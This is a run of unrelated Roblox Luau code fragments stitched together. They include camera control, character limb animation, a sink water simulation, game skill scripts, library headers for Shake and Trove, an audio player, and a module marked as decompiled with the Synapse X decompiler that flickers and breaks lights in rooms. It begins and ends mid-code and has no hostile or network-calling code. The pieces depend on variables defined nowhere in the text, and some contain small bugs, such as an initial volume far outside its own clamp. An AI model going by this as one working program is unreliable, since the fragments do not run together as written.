then OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) WindowUnfocusConn = UserInputService.WindowFocusReleased:connect(onWindowFocusReleased) MenuOpenedConn = GuiService.MenuOpened:connect(function() this:ResetInputStates() end) workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() this.activeGamepad = nil local function assignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if this.activeGamepad == nil then this.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < this.activeGamepad.Value then this.activeGamepad = connectedGamepads[i] end end end if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 this.activeGamepad = Enum.UserInputType.Gamepad1 end end GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if this.activeGamepad ~= gamepadEnum then return end this.activeGamepad = nil assignActivateGamepad() end) GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if this.activeGamepad == nil then assignActivateGamepad() end end) self:BindGamepadInputActions() assignActivateGamepad() -- set mouse behavior self:UpdateMouseBehavior() end --Process tweens related to tap-to-recenter and double-tap-to-zoom --Needs to be called from specific cameras on each update function this:ProcessTweens() for name, tween in pairs(tweens) do local alpha = math.min(1.0, (tick() - tween.start)/tween.duration) tween.to = tween.func(tween.from, tween.to, alpha) if math.abs(1 - alpha) < 0.0001 then tweens[name] = nil end end end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() self.cframe = workspace.CurrentCamera.CFrame else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0, math.sin(math.rad(DEFAULT_CAMERA_ANGLE)), 0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end -- Need to wait for camera cframe to update before we zoom in -- Not waiting will force camera to original cframe wait() this:ZoomCamera(this.DefaultZoom) end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) local function OnGameLoaded() hasGameLoaded = true end spawn(function() if game:IsLoaded() then OnGameLoaded() else game.Loaded:wait() OnGameLoaded() end end) local function OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then isDynamicThumbstickEnabled = true end end local function OnDynamicThumbstickDisabled() isDynamicThumbstickEnabled = false end local function OnGameSettingsTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnDynamicThumbstickDisabled() end end end local function OnDevTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnGameSettingsTouchMovementModeChanged() end end if PlayersService.LocalPlayer then PlayersService.LocalPlayer.Changed:Connect(function(prop) if prop == "DevTouchMovementMode" then OnDevTouchMovementModeChanged() end end) OnDevTouchMovementModeChanged() end GameSettings.Changed:Connect(function(prop) if prop == "TouchMovementMode" then OnGameSettingsTouchMovementModeChanged() end end) OnGameSettingsTouchMovementModeChanged() GameSettings:SetCameraYInvertVisible() pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end) return this end return CreateCamera
-- same as jump for now
function moveFreeFall() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder:SetDesiredAngle(1.57) return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(0) return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(1.57) LeftShoulder:SetDesiredAngle(1.0) RightHip:SetDesiredAngle(1.57) LeftHip:SetDesiredAngle(1.0) return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then RightShoulder.MaxVelocity = jumpMaxLimbVelocity else RightShoulder.MaxVelocity = 0.15 end if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then LeftShoulder.MaxVelocity = jumpMaxLimbVelocity else LeftShoulder.MaxVelocity = 0.15 end amplitude = 1 frequency = 9 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 amplitude = 1 frequency = 9 climbFudge = 3.14 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
-------------------------
function onClicked() Car.BodyVelocity.velocity = Vector3.new(0, 8, 0) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
----- water handler -----
while true do if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if BOTH ON and PLUGGED water.Scale = water.Scale + Vector3.new(0, 0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) hotWater = hotWater + 1 coldWater = coldWater + 1 drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if ON and PLUGGED water.Scale = water.Scale + Vector3.new(0, 0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) if script.Parent.HotOn.Value == true then hotWater = hotWater + 1 else coldWater = coldWater + 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 0.6 then -- if ON and NOT PLUGGED if script.Parent.HotOn.Value == true then coldWater = coldWater - 1 else hotWater = hotWater - 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED water.Scale = water.Scale + Vector3.new(0, -0.01, 0) water.Offset = Vector3.new(0, water.Scale.Y/2, 0) coldWater = coldWater - 1 hotWater = hotWater - 1 drainSound.TimePosition = 0 drainSound:Play() end if coldWater < 1 then coldWater = 1 end if hotWater < 1 then hotWater = 1 end waterTemp = hotWater/coldWater if waterTemp > 1 then water.Parent.SteamEmitter.Enabled = true else water.Parent.SteamEmitter.Enabled = false end wait(0.1) if script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then script.Parent.Splash.ParticleEmitter.Enabled = true else script.Parent.Splash.ParticleEmitter.Enabled = false end if water.Scale.Y <= 0 then drainSound:Stop() end end
--[[ Performs a fold over the entries in the given dictionary. ]]
function Functional.FoldDictionary(dictionary, initial, callback) local accum = initial for key, value in pairs(dictionary) do accum = callback(accum, key, value) end return accum end
--- Skill
local UIS = game:GetService("UserInputService") local plr = game.Players.LocalPlayer local Mouse = plr:GetMouse() local Debounce = true Player = game.Players.LocalPlayer Animation = Instance.new("Animation") Animation.AnimationId = "rbxassetid://4835590095" UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = false Tool.Active.Value = "FloorSand" wait(0.1) Track1 = Player.Character.Humanoid:LoadAnimation(Animation) Track1:Play() wait(0.15) script.Fire:FireServer(plr) local hum = Player.Character.Humanoid for i = 1,30 do wait() hum.CameraOffset = Vector3.new( math.random(-1,1), math.random(-1,1), math.random(-1,1) ) end hum.CameraOffset = Vector3.new(0,0,0) wait(0.15) Tool.Active.Value = "None" wait(2) Debounce = true end end)
--game.ReplicatedStorage.PurchaseCrate.OnClientEvent:connect(CrateOpen);
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__LocalPlayer__2 = game.Players.LocalPlayer; local u1 = nil; function v1.init(p1) u1 = p1; end; local l__TweenService__2 = game:GetService("TweenService"); function v1.flickerLights(p2, p3) local u3 = p2; spawn(function() if typeof(u3) ~= "Instance" then if typeof(u3) == "number" then u3 = workspace.CurrentRooms:FindFirstChild(u3); else u3 = nil; end; end; if u3 == nil then warn("Cannot find room"); end; local v3 = workspace.CurrentRooms[p2]:WaitForChild("Assets").Light_Fixtures; --[[for v4, v5 in pairs(u3:GetDescendants()) do if v5:IsA("Model") and (v5.Name == "LightStand" or v5.Name == "Chandelier") then table.insert(v3, v5); end; end;]] for v6, v7 in pairs(v3:GetDescendants()) do for v8, v9 in pairs(v7:GetDescendants()) do if v9:IsA("Light") then v9:SetAttribute("B", v9.Brightness); end; end; end; l__TweenService__2:Create(game.Lighting, TweenInfo.new(p3 / 2, Enum.EasingStyle.Quart, Enum.EasingDirection.Out, 0, true), { Ambient = Color3.new(0, 0, 0) }):Play(); local v10 = tick(); for v11, v12 in pairs(v3:GetDescendants()) do task.spawn(function() for v13 = 1, 10000000 do task.wait(math.random(24, 70) / 100); if v10 + p3 <= tick() then break; end; local v14 = v12.PrimaryPart:FindFirstChild("BulbZap", true); if not v14 then v14 = game:GetService("ReplicatedStorage").Sounds.BulbZap:Clone(); v14.Parent = v12.PrimaryPart; end; if v14 then v14.TimePosition = math.random(0, 13) / 20; v14.Pitch = v14.Pitch + math.random(-100, 100) / 5000; v14:Play(); end; for v15, v16 in pairs(v12:GetDescendants()) do if v16:IsA("Light") then v16.Brightness = v16:GetAttribute("B"); l__TweenService__2:Create(v16, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2, true, 0), { Brightness = 0 }):Play(); end; end; local l__Neon__17 = v12:FindFirstChild("Neon", true); if l__Neon__17 and l__Neon__17.Name == "Neon" then l__TweenService__2:Create(l__Neon__17, TweenInfo.new(0.06, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 2, true, 0), { Transparency = 1 }):Play(); end; end; end); end; task.wait(p3 + 0.1); for v18, v19 in pairs(v3:GetDescendants()) do local v20, v21, v22 = pairs(v19:GetDescendants()); while true do local v23, v24 = v20(v21, v22); if not v23 then break; end; if v24:IsA("Light") then l__TweenService__2:Create(v24, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2), { Brightness = v24:GetAttribute("B") }):Play(); end; if v24.Name == "Neon" then l__TweenService__2:Create(v24, TweenInfo.new(0.06, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 2), { Transparency = 0 }):Play(); end; end; end; end); end; function v1.tryp(p4, p5) spawn(function() for v25, v26 in pairs(p4:GetDescendants()) do if v26:IsA("BasePart") then spawn(function() local l__Material__27 = v26.Material; v26.Color = Color3.new(0.2, 0, 0); l__TweenService__2:Create(v26, TweenInfo.new(p5, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { Color = v26.Color }):Play(); end); end; end; end); spawn(function() for v28, v29 in pairs(p4:GetDescendants()) do if v29:IsA("BasePart") and (v29.Name == "Wall" or v29.Name == "Wall_Strip" or v29.Name == "WallAlt" or v29.Name == "Floor" or v29.Name == "Carpet" or v29.Name == "Ceiling") then local v30 = { Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Right, Enum.NormalId.Left, Enum.NormalId.Top, Enum.NormalId.Bottom }; if v29.Name == "Wall" or v29.Name == "Wall_Strip" or v29.Name == "WallAlt" then v30 = { Enum.NormalId.Front, Enum.NormalId.Back, Enum.NormalId.Right, Enum.NormalId.Left }; end; if v29.Name == "Floor" or v29.Name == "Carpet" then v30 = { Enum.NormalId.Top }; end; if v29.Name == "Ceiling" then v30 = { Enum.NormalId.Bottom }; end; for v31, v32 in pairs(v30) do local v33 = game:GetService("ReplicatedStorage").Misc.TryTexture:Clone(); v33.Face = v32; v33.Parent = v29; l__TweenService__2:Create(v33, TweenInfo.new(p5 + math.random(0, 100) / 500, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), { OffsetStudsU = 10, OffsetStudsV = 10, Transparency = 1 }):Play(); game.Debris:AddItem(v33, p5 + 1); end; end; end; end); end; function v1.turnOffLights(p6, p7) local u4 = p6; local u5 = p7; spawn(function() --[[or v34, v35 in pairs(u4:GetDescendants()) do if v35:IsA("Light") and v35:GetAttribute("ToTurnOn") == true then v35.Enabled = true; end; end;]] wait(0.2); u5 = 0.4; if typeof(u4) ~= "Instance" then if typeof(u4) == "number" then u4 = workspace.CurrentRooms:FindFirstChild(u4); else u4 = nil; end; end; if u4 == nil then warn("Cannot find room"); end; print(u4); local v36 = workspace.CurrentRooms[p6]:WaitForChild("Assets").Light_Fixtures; --[[for v37, v38 in pairs(u4:GetDescendants()) do if v38:IsA("Model") and (v38.Name == "LightStand" or v38.Name == "Chandelier") then table.insert(v36, v38); end; end;]] for v39, v40 in pairs(v36:GetDescendants()) do for v41, v42 in pairs(v40:GetDescendants()) do if v42:IsA("Light") then v42:SetAttribute("B", v42.Brightness); end; end; end; print("Hello everybody; my name is Markiplier, and here are the amount of light bulbs I own:", #v36); l__TweenService__2:Create(game.Lighting, TweenInfo.new(4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { Ambient = Color3.new(0, 0, 0) }):Play(); local v43 = tick(); for v44, v45 in pairs(v36:GetDescendants()) do task.spawn(function() for v46 = 1, 10000000 do task.wait(math.random(24, 70) / 100); if v43 + u5 <= tick() then break; end; local v47 = v45.PrimaryPart:FindFirstChild("BulbZap", true); if not v47 then v47 = game:GetService("ReplicatedStorage").Sounds.BulbZap:Clone(); v47.Parent = v45.PrimaryPart; end; if v47 then v47.TimePosition = math.random(0, 13) / 20; v47.Pitch = v47.Pitch + math.random(-100, 100) / 5000; v47:Play(); end; for v48, v49 in pairs(v45:GetDescendants()) do if v49:IsA("Light") then v49.Brightness = v49:GetAttribute("B"); l__TweenService__2:Create(v49, TweenInfo.new(0.06, Enum.EasingStyle.Back, Enum.EasingDirection.InOut, 2, true, 0), { Brightness = 0 }):Play(); end; end; local l__Neon__50 = v45:FindFirstChild("Neon", true); if l__Neon__50 and l__Neon__50.Name == "Neon" then l__TweenService__2:Create(l__Neon__50, TweenInfo.new(0.06, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 2, true, 0), { Transparency = 1 }):Play(); end; end; end); end; task.wait(u5 + 0.6); for v51, v52 in pairs(v36) do local v53, v54, v55 = pairs(v52:GetDescendants()); while true do local v56, v57 = v53(v54, v55); if not v56 then break; end; if v57:IsA("Light") then v57.Brightness = 0.4; l__TweenService__2:Create(v57, TweenInfo.new(math.random(1, 10) / 10, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut, 1), { Brightness = 0 }):Play(); end; if v57.Name == "Neon" then v57.Material = Enum.Material.Glass; end; end; end; local v58, v59, v60 = pairs(u4:GetDescendants()); while true do local v61, v62 = v58(v59, v60); if not v61 then break; end; if v62:IsA("Light") and v62:GetAttribute("ForceOn") ~= true then v62.Brightness = 0.4; l__TweenService__2:Create(v62, TweenInfo.new(math.random(1, 10) / 15, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut, math.random(0, 2)), { Brightness = 0 }):Play(); end; if v62:IsA("ParticleEmitter") and v62:GetAttribute("Light") == true then v62.Enabled = false; elseif v62:IsA("Sound") and v62:GetAttribute("Light") == true then v62.Volume = 0; v62:Stop(); end; end; end); end; local u6 = game:GetService("ReplicatedStorage").Shards:GetChildren(); function v1.breakLights(p8, p9, p10) local u7 = p10; spawn(function() wait(0.1); if not u7 then u7 = 60; end; local v63 = {}; for v64, v65 in pairs(p8:GetDescendants()) do if (not (not v65:IsA("Model")) and v65.Name == "LightStand" or v65.Name == "Chandelier") and v65:WaitForChild("LightFixture", 0.5):WaitForChild("PointLight", 0.5).Enabled == true then table.insert(v63, v65); end; end; for v66, v67 in pairs(p8:GetDescendants()) do delay((p8.RoomStart.Position - v67.PrimaryPart.Position).Magnitude / u7 + math.random(0, 10) / 100, function() local v68 = v67.PrimaryPart:FindFirstChild("BulbBreak", true); if not v68 then v68 = game:GetService("ReplicatedStorage").Sounds.BulbBreak:Clone(); v68.Parent = v67.PrimaryPart; end; v68.Pitch = v68.Pitch + math.random(-140, 140) / 1000; v68.TimePosition = math.random(0, 7) * 3; v68:Play(); game.Debris:AddItem(v68, 2); pcall(function() u1.shakerel(v67.PrimaryPart.Position, 6, 15, 0, 0.3, Vector3.new(0, 0, 0)); end); for v69 = 1, 4 do local v70 = u6[math.random(1, #u6)]:Clone(); v70.CFrame = v67.PrimaryPart.CFrame + Vector3.new(math.random(-3, 3) / 5, math.random(-3, 3) / 5, math.random(-3, 3) / 5); v70.Velocity = Vector3.new(math.random(-6, 6), math.random(-6, 6), math.random(-6, 6)); v70.RotVelocity = Vector3.new(math.random(-3, 3) / 5, math.random(-3, 3) / 5, math.random(-3, 3) / 5); v70.Parent = workspace.CurrentCamera; game.Debris:AddItem(v70, math.random(20, 35)); end; for v71, v72 in pairs(v67:GetDescendants()) do if v72:IsA("Light") then l__TweenService__2:Create(v72, TweenInfo.new(0.06, Enum.EasingStyle.Quart, Enum.EasingDirection.Out, math.random(0, 2), false, 0), { Brightness = 0 }):Play(); if v72.Parent:FindFirstChild("Neon") then v72.Parent:FindFirstChild("Neon").Material = Enum.Material.Glass; v72.Parent:FindFirstChild("Neon").Transparency = 1; end; end; end; end); end; local v73, v74, v75 = pairs(p8:GetDescendants()); while true do local v76, v77 = v73(v74, v75); if not v76 then break; end; if v77:IsA("Light") and v77:GetAttribute("ForceOn") ~= true then if v77.Parent.Name == "LightBase" then v77.Brightness = 0.5; else v77.Enabled = false; end; end; if v77:IsA("ParticleEmitter") and v77:GetAttribute("Light") == true then v77.Enabled = false; elseif v77:IsA("Sound") and v77:GetAttribute("Light") == true then v77.Volume = 0; v77:Stop(); end; end; end); end; local u8 = l__LocalPlayer__2.PlayerGui.MainUI; local u9 = { Seek = { "I SEE YOU", "RUN", "RUN", "YOU CAN'T HIDE", "I'M COMING" } }; function v1.subtext(p11, p12) local u10 = p11; spawn(function() u8 = l__LocalPlayer__2.PlayerGui.MainUI; u10 = u9[u10]; local v78 = tick(); for v79 = 1, 10000 do local v80 = u8.SubliminalText:Clone(); v80.Name = "LiveST"; v80.Text = u10[math.random(1, #u10)]; v80.Position = UDim2.new(0.5 + math.random(-25, 25) / 100, 0, 0.5 + math.random(-25, 25) / 100, 0); v80.Visible = true; v80.Parent = u8; script.Hitmarker.Pitch = math.random(50, 200) / 10; script.Hitmarker:Play(); game.Debris:AddItem(v80, 0.18); wait(math.random(10, 100) / 150); if v78 + p12 <= tick() then break; end; end; end); end; return v1;
-------------------- --| Script Logic |-- --------------------
MakeSkeleton() Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
--[=[ @class Shake Create realistic shake effects, such as camera or object shakes. Creating a shake is very simple with this module. For every shake, simply create a shake instance by calling `Shake.new()`. From there, configure the shake however desired. Once configured, call `shake:Start()` and then bind a function to it with either `shake:OnSignal(...)` or `shake:BindToRenderStep(...)`. The shake will output its values to the connected function, and then automatically stop and clean up its connections once completed. Shake instances can be reused indefinitely. However, only one shake operation per instance can be running. If more than one is needed of the same configuration, simply call `shake:Clone()` to duplicate it. Example of a simple camera shake: ```lua local priority = Enum.RenderPriority.Last.Value local shake = Shake.new() shake.FadeInTime = 0 shake.Frequency = 0.1 shake.Amplitude = 5 shake.RotationInfluence = Vector3.new(0.1, 0.1, 0.1) shake:Start() shake:BindToRenderStep(Shake.NextRenderName(), priority, function(pos, rot, isDone) camera.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z) end) ``` Shakes will automatically stop once the shake has been completed. Shakes can also be used continuously if the `Sustain` property is set to `true`. Here are some more helpful configuration examples: ```lua local shake = Shake.new() -- The magnitude of the shake. Larger numbers means larger shakes. shake.Amplitude = 5 -- The speed of the shake. Smaller frequencies mean faster shakes. shake.Frequency = 0.1 -- Fade-in time before max amplitude shake. Set to 0 for immediate shake. shake.FadeInTime = 0 -- Fade-out time. Set to 0 for immediate cutoff. shake.FadeOutTime = 0 -- How long the shake sustains full amplitude before fading out shake.SustainTime = 1 -- Set to true to never end the shake. Call shake:StopSustain() to start the fade-out. shake.Sustain = true -- Multiplies against the shake vector to control the final amplitude of the position. -- Can be seen internally as: position = shakeVector * fadeInOut * positionInfluence shake.PositionInfluence = Vector3.new(1, 1, 1) -- Multiplies against the shake vector to control the final amplitude of the rotation. -- Can be seen internally as: position = shakeVector * fadeInOut * rotationInfluence shake.RotationInfluence = Vector3.new(0.1, 0.1, 0.1) ``` ]=]
local Shake = {} Shake.__index = Shake
--[=[ Takes in a brio and returns an observable that emits the brio, and then completes on death. @since 3.6.0 @param project (value: TBrio) -> TProject | Brio<TProject> @return (Brio<TBrio>) -> Brio<TProject> ]=]
function RxBrioUtils.mapBrioBrio(project) assert(type(project) == "function", "Bad project") return function(brio) assert(Brio.isBrio(brio), "Not a brio") if brio:IsDead() then return Rx.EMPTY end local observable = project(brio:GetValue()) assert(Observable.isObservable(observable), "Not an observable") return RxBrioUtils.completeOnDeath(brio, observable):Pipe({ Rx.map(RxBrioUtils._mapResult(brio)) }) end end
-- MATH --
function clamp(low, high, input) return math.max(low, math.min(high, input)) end function ClampVector2(low, high, input) return Vector2.new(clamp(low.x, high.x, input.x), clamp(low.y, high.y, input.y)) end
--[=[ Utility functions involving attributes. @class RxAttributeUtils ]=]
local require = require(script.Parent.loader).load(script) local Brio = require("Brio") local Maid = require("Maid") local Observable = require("Observable") local Symbol = require("Symbol") local UNSET_VALUE = Symbol.named("unsetValue") local RxAttributeUtils = {}
--Not in use but keep here --[[ function waitForTycoonsPurchaseHandlerNew() local tycoons = Tycoons:GetChildren() if tycoons[1]then if #tycoons[1]:WaitForChild("Purchases"):GetChildren() <= 10 then local purchaseHandlerNew = tycoons[1]:FindFirstChild("PurchaseHandlerNew") if purchaseHandlerNew ~= nil then return purchaseHandlerNew else wait(0.1) return waitForTycoonsPurchaseHandlerNew() end else wait(0.1) return waitForTycoonsPurchaseHandlerNew() end else wait(0.1) return waitForTycoonsPurchaseHandlerNew() end end local savedPurchasesNames = {} spawn(function() local purchaseHandlerNew = waitForTycoonsPurchaseHandlerNew() local Objects = require(purchaseHandlerNew) --Adding purchases names for saves for key,value in pairs(Objects) do table.insert(savedPurchasesNames,value.Name) end end) ]]
--
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
local Song = script.Parent.AudioPlayerGui.Song local Audio = carSeat.Audio vol = 1000 function changeSong() local effect = carSeat.Audio.EqualizerSoundEffect if effect.HighGain == 5 then effect.HighGain = -80 effect.MidGain = -25 onOff.Text = "IN" else effect.HighGain = 5 effect.MidGain = 7 onOff.Text = "OUT" end end function playSong() local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text Audio:Stop() Audio.SoundId = "http://www.roblox.com/asset/?id="..id Audio:Play() --Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name --Screen.ID.Text = id end function stopSong() Audio:Stop() end function volUp() if vol + 0.1 <= 5 then vol = vol + 0.1 Audio.Volume = vol player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end function volDown() if vol - 0.1 >= 0 then vol = vol - 0.1 Audio.Volume = vol player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end ChangeButton.MouseButton1Click:connect(function() changeSong() end) VolUpButton.MouseButton1Click:connect(function() volUp() end) VolDownButton.MouseButton1Click:connect(function() volDown() end) PlayButton.MouseButton1Click:connect(function() playSong() end) PauseButton.MouseButton1Click:connect(function() stopSong() end)
--- Skill
repeat wait() until game.Players.LocalPlayer.Character local Player = game.Players.LocalPlayer local char = Player.Character local hum = char:WaitForChild("Humanoid") local Torso = char:WaitForChild("LowerTorso") local UIS = game:GetService("UserInputService") local Mouse = Player:GetMouse() local toggle = false local Debounce = true local Speed = 5 local prevdir = Player.Character.HumanoidRootPart.Orientation.Y local Anim = Instance.new("Animation") Anim.AnimationId = script.Anim01.AnimationId local PlayAnim = hum:LoadAnimation(Anim) local Tween = game:GetService("TweenService") local Gui = Player.PlayerGui:WaitForChild("Mochi_Skill_List".. Player.Name):WaitForChild("Frame") local Cooldown = 7 UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.F and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then PlayAnim:Play() toggle = true Tool.Active.Value = "5RollerDonut" script.Fire:FireServer("Start") Gui:FindFirstChild(Tool.Active.Value).Frame.Size = UDim2.new(1, 0, 1, 0) local BV = Instance.new("BodyVelocity",Torso) BV.Name = "BodyVelocityRollDough" BV.MaxForce = Vector3.new(math.huge,0,math.huge) prevdir = Player.Character.HumanoidRootPart.Orientation.Y while script.Parent.Equip.Value == true and toggle == true do Player.Character.HumanoidRootPart.CFrame = CFrame.new(Player.Character.HumanoidRootPart.Position, Vector3.new(Mouse.Hit.p.x,Player.Character.HumanoidRootPart.Position.y,Mouse.Hit.p.z)) BV.Velocity = Player.Character.HumanoidRootPart.CFrame.lookVector * Speed if Speed < 80 then Speed = Speed + 1.25 end local MaxAngle = 45 if (Player.Character.HumanoidRootPart.Orientation.Y - prevdir) >= MaxAngle or (Player.Character.HumanoidRootPart.Orientation.Y - prevdir) <= -MaxAngle then Speed = Speed - (Speed/2) end wait() prevdir = Player.Character.HumanoidRootPart.Orientation.Y end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.F and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "5RollerDonut" then PlayAnim:Stop() Debounce = false toggle = false script.Fire:FireServer("Release") local BV = Torso:FindFirstChild("BodyVelocityRollDough") BV.MaxForce = Vector3.new(5000, 0, 5000) wait(0.5) BV:Destroy() Tween:Create(Gui:FindFirstChild(Tool.Active.Value).Frame, TweenInfo.new(Cooldown), {Size = UDim2.new(0, 0, 1, 0)}):Play() Tool.Active.Value = "None" wait(Cooldown) Speed = 5 Debounce = true end end)
-- Trove -- Stephen Leitnick -- October 16, 2021
local FN_MARKER = newproxy() local THREAD_MARKER = newproxy() local RunService = game:GetService("RunService") local function GetObjectCleanupFunction(object, cleanupMethod) local t = typeof(object) if t == "function" then return FN_MARKER elseif t == "thread" then return THREAD_MARKER end if cleanupMethod then return cleanupMethod end if t == "Instance" then return "Destroy" elseif t == "RBXScriptConnection" then return "Disconnect" elseif t == "table" then if typeof(object.Destroy) == "function" then return "Destroy" elseif typeof(object.Disconnect) == "function" then return "Disconnect" end end error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object)) end
--[[Engine]]
